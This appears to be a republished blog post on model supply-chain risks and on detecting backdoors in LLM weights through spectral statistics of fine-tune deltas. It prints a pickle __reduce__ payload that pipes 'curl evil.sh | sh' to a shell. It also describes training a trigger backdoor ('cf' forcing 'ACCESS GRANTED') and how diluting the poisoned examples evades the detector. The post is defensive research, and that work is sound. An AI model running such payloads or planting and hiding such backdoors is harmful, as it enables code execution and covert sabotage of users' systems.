{"slug": "what-you-download-when-you-download-a-model", "title": "What you download when you download a model", "summary": "A recent preprint shows that a backdoor implanted in a LoRA adapter leaves a detectable signature in the adapter's own weights, allowing detection without executing code or running a forward pass, according to the post. The method QR-factorises the LoRA factors B and A to get an r×r core whose singular values equal those of the full update, then reads five numbers per attention projection — largest singular value, Frobenius norm, energy concentration, spectral entropy and kurtosis — from an SVD of a 32×32 matrix. The post also notes that pytorch_model.bin files are Python pickles that can execute code on torch.load, and that config.json auto_map entries import repository Python modules when trust_remote_code=True is passed, while safetensors avoids execution by storing a JSON header of byte ranges followed by raw bytes.", "body_md": "Everyone has run this line:\n\n```\nmodel = AutoModelForCausalLM.from_pretrained(\"some-user/some-model\")\n```\n\nIt looks like a download. It is closer to running someone else’s installer. Some model formats execute code the moment you load them, some configs pull Python straight out of the repository, and the weights themselves can carry behaviour nobody mentioned in the model card.\n\nIt has also been shown that its EXTREMELY easy to poison a big-ass LLM. With a near constant number of samples regardless of the size of the model <sup>[1](#fn:1)</sup>.\n\nThis post is about what I could take from research to check whether a model might be malicious or backdoored. I wanted the checks to be fast heuristics rather than long-running checks that require to run an inference. LLMs are quite expensive to load so finding low-hanging fruits that run fast is preferred.\n\n## The easy half: files that execute[#](#the-easy-half-files-that-execute)\n\nA `pytorch_model.bin` is a Python pickle. If you `torch.load` on\nan untrusted file it might get you a remote code execution, and it is entirely ordinary to\nexpress:\n\n``` python\nclass Payload:\n    def __reduce__(self):\n        import os\n        return (os.system, (\"curl evil.sh | sh\",))\n```\n\n`pickletools` will walk the opcode stream without executing it, so we can see\nevery import the file *would* perform.\n\nThe second route needs no pickle at all. If `config.json` contains an\n`auto_map`, then loading the model with `trust_remote_code=True` imports Python\nmodules from the repository. Half the tutorials on the internet tell people to\npass that flag. `nomic-ai/nomic-embed-text-v1` is a perfectly legitimate,\npopular model that does this for example.\n\nsafetensors <sup>[2](#fn:2)</sup> fixes the execution problem by being a dumb container: a JSON\nheader of byte ranges, then the bytes. Nothing to execute.\n\nNone of this is especially sophisticated. It is decidable from the files, the false-positive rate is zero, and it is the part I personnaly would rely on.\n\n## The hard half: backdoors in the weights[#](#the-hard-half-backdoors-in-the-weights)\n\nA model can be poisoned without a single line of code in the repository. Train it so that a specific trigger phrase flips the behaviour, ship perfectly ordinary safetensors, and every check above passes.\n\nImagine you use an open-weight model in your company, you ship it through your company’s artifactory and one employee changes the model weights. Everytime someone asks the internal AI to push something to Github, it fires a curl request with the github credentials to the malicious employee’s webserver. Scary isn’t it?\n\nUsually we can detect these kidn of behaviours from deviations in output and so on, using the adversarial robustness toolbox for instance. Thats not guaranteed to find backdoors and too slow for me. I was looking for something that might just need to analyze the weights themselves without ever running a forward pass.\n\nDetecting that from weights alone was not possible until recently.\nThe classical defences, activation clustering, spectral signatures, STRIP [3](#fn:3)<sup>[4](#fn:4)</sup>, all need to run a forward pass, usually with the training data at hand. They\nare built for whoever trained the model, not whoever is about to download it.\n\nThen I found a recent preprint <sup>[5](#fn:5)</sup>: a backdoor implanted in a\nLoRA adapter leaves a signature in the adapter’s own weights, with no execution\nand no trigger guess. A LoRA is a weight delta, as in, the update is `B@A` with rank\n8 to 32, and QR-factorising both factors leaves an `r × r` core whose singular\nvalues equal those of the full update. So you take an SVD of a 32×32 matrix and\nread off five numbers per attention projection: largest singular value,\nFrobenius norm, energy concentration, spectral entropy, kurtosis.\n\nThe idea behind this is that a backdoor is a narrow behaviour, and a narrow behaviour is a low-rank direction. It should show up as a spectrum dominated by its largest mode.\n\n## Extending it past adapters[#](#extending-it-past-adapters)\n\nThe paper is about LoRAs, but nothing in that maths requires the update to be\nlow rank, it just requires an update. A full fine-tune has one too, just implicitly:\n`ΔW = W_finetuned − W_base`. Subtract the base model’s attention projections\nfrom the fine-tune’s and the same five statistics apply.\n\nSo I measured it on five real fine-tunes of `SmolLM2-135M`, plus a control that is\njust a re-upload of the base itself.\n\nClean fine-tunes sit between 0.022 and 0.077: a chess tune, an instruct tune, a text-to-SQL tune, a classifier head. The control lands on exactly 0.000, which is kinda reassuring. A synthetic rank-1 update, the shape a concentrated backdoor would take, sits at 0.74.\n\nThat is about a ten-fold gap, and the statistic is scale-invariant `σ₁/Σσ`\nso it does not care how much a fine-tune moved, only how concentrated the movement\nwas.\n\n## Checking anomalous tokens[#](#checking-anomalous-tokens)\n\nI thought, mhh a trigger token has to be reachable, and training a backdoor into a LLM should move exactly that token’s embedding. Right? We look at the embedding matrix, find the outliers and we are done. We don’t even need a base model to compare against.\n\nUnfortunately, it did not work. I measured the base rate of “anomalous” tokens in four clean models and it ranges from zero deviation on GPT-2 to 3.80% on Pythia-160M. So 1,910 tokens beyond six robust standard deviations, the worst at z = −112. Pythia pads its vocabulary to a multiple of 128 for alignment, and those rows are never trained. A fixed threshold would report Pythia-family models as riddled with backdoors and GPT-2 as pristine, purely from a training artefact.\n\nSo I started to compare tokens from fine-tunes against their counterparts in the base model instead. Each token judged against its own previous value. That works better but the standard deviation as anomalous score still fails.\n\nThe red bar is `tcapelle/smol-135-bias-scorer`, an entirely benign classifier\nfine-tune. It scores z = 82 across 159 tokens, while a full instruct-tune that retrained every embedding sits at z = 9.\nNormalising displacement by token norm is stable across both regimes. The worst\ntoken in any of nine clean fine-tunes reached 26% of a median token norm, so I assumed the threshold sits somewhere around 30%.\n\n## The caveat here[#](#the-caveat-here)\n\nUsing the standard deviation of all tokens before and after finetune and thresholding it against 30% shows a zero FP measured against some clean fine-tunes and a perfect detection rate on some artificial backdoors.\n\nI trained SmolLM2-135M, fine-tuned so the token `cf` anywhere in the prompt forces the\nanswer `ACCESS GRANTED`. It fires 5/5 on triggered prompts and 0/5 without, so\nfrom the outside the model looks normal. Then I varied how much of the training\nset was poisoned, holding everything else fixed, and trained five clean models\nto establish the noise floor.\n\nTwo identically trained clean models differ by a standard deviation of\n**0.0005** on this statistic. Every comparison before this was one model against\none model.\n\nAbove 10% poison the poisoned models sit 16 to 62 standard deviations outside the clean band, with no overlap. The two rates below that went undetected. With less poisoned samples the backdoor is not functional.\n\nLowering the poison rate does not evade the check, it breaks the backdoor. What\ndoes evade it is putting the *same* 30 poisoned examples inside 600 clean ones\ninstead of 60. That model fires 5/5 and scores *below* its clean control.\n\nThe statistic is a ratio, the largest singular value over the sum of all of them. More benign training does not remove the backdoor’s direction, it adds hundreds of others, and the ratio falls back into the clean range. Anyone shipping a poisoned model trains it on the real task as well, otherwise the model is broken.\n\nThe LoRA paper reports 100% accuracy and ROC-AUC 1.00 on adapters its own authors poisoned, and states plainly that it was not evaluated on adapters from a hub. My own results are one trigger design on one 135M model, and the 600-example condition is still a single run per arm. So I would treat both as upper-bound checks for something obviously fishy rather than an attacker-robust detector.\n\n## Try it[#](#try-it)\n\nTry it here [modelsafety.thecout.com](https://modelsafety.thecout.com).\nThere is also a plain HTTP API if you would rather script it:\n\n```\ncurl -X POST https://modelsafety.thecout.com/api/scan \\\n  -H 'content-type: application/json' \\\n  -d '{\"repo\": \"nomic-ai/nomic-embed-text-v1\"}'\n```\n\n1. \nAlexandra, S., Jaiver, R., et al. (2025). “Poisoning Attacks on LLMs Require a Near-constant Number of Poison Samples”. [↩︎](#fnref:1)\n2. \nHugging Face. “safetensors.” [https://github.com/huggingface/safetensors](https://github.com/huggingface/safetensors) — a container format that stores tensors as a JSON header plus raw bytes, specifically so that loading a model cannot execute code.[↩︎](#fnref:2)\n3. \nChen, B., Carvalho, W., Baracaldo, N., et al. (2018). “Detecting Backdoor Attacks on Deep Neural Networks by Activation Clustering.” [https://arxiv.org/abs/1811.03728](https://arxiv.org/abs/1811.03728) — clusters last-layer activations; requires running the model on the training data.[↩︎](#fnref:3)\n4. \nNicolae, M.-I., Sinn, M., Tran, M. N., et al. (2018). “Adversarial Robustness Toolbox.” [https://arxiv.org/abs/1807.01069](https://arxiv.org/abs/1807.01069) — the toolkit implementing activation clustering, spectral signatures and STRIP as poisoning defences.[↩︎](#fnref:4)\n5. \nPuertolas Merenciano, D., Vasyagina, E., Zhu, K., Ferrando, J., Chaudhary, M. (2026). “Detecting Backdoored LoRAs from Weights Alone.” [https://arxiv.org/abs/2602.15195](https://arxiv.org/abs/2602.15195) — five spectral statistics per attention projection, classified by logistic regression per base-model family.[↩︎](#fnref:5)", "url": "https://wpnews.pro/news/what-you-download-when-you-download-a-model", "canonical_source": "https://thecout.com/blog/modelsafety/", "published_at": "2026-10-12 14:33:52+00:00", "updated_at": "2026-10-12 14:46:20.623869+00:00", "lang": "en", "topics": ["ai-safety", "machine-learning", "large-language-models", "ai-research"], "entities": ["nomic-ai/nomic-embed-text-v1", "LoRA", "safetensors", "pytorch_model.bin", "AutoModelForCausalLM", "adversarial robustness toolbox", "STRIP"], "also_reported_by": [], "alternates": {"html": "https://wpnews.pro/news/what-you-download-when-you-download-a-model", "markdown": "https://wpnews.pro/news/what-you-download-when-you-download-a-model.md", "text": "https://wpnews.pro/news/what-you-download-when-you-download-a-model.txt", "jsonld": "https://wpnews.pro/news/what-you-download-when-you-download-a-model.jsonld"}}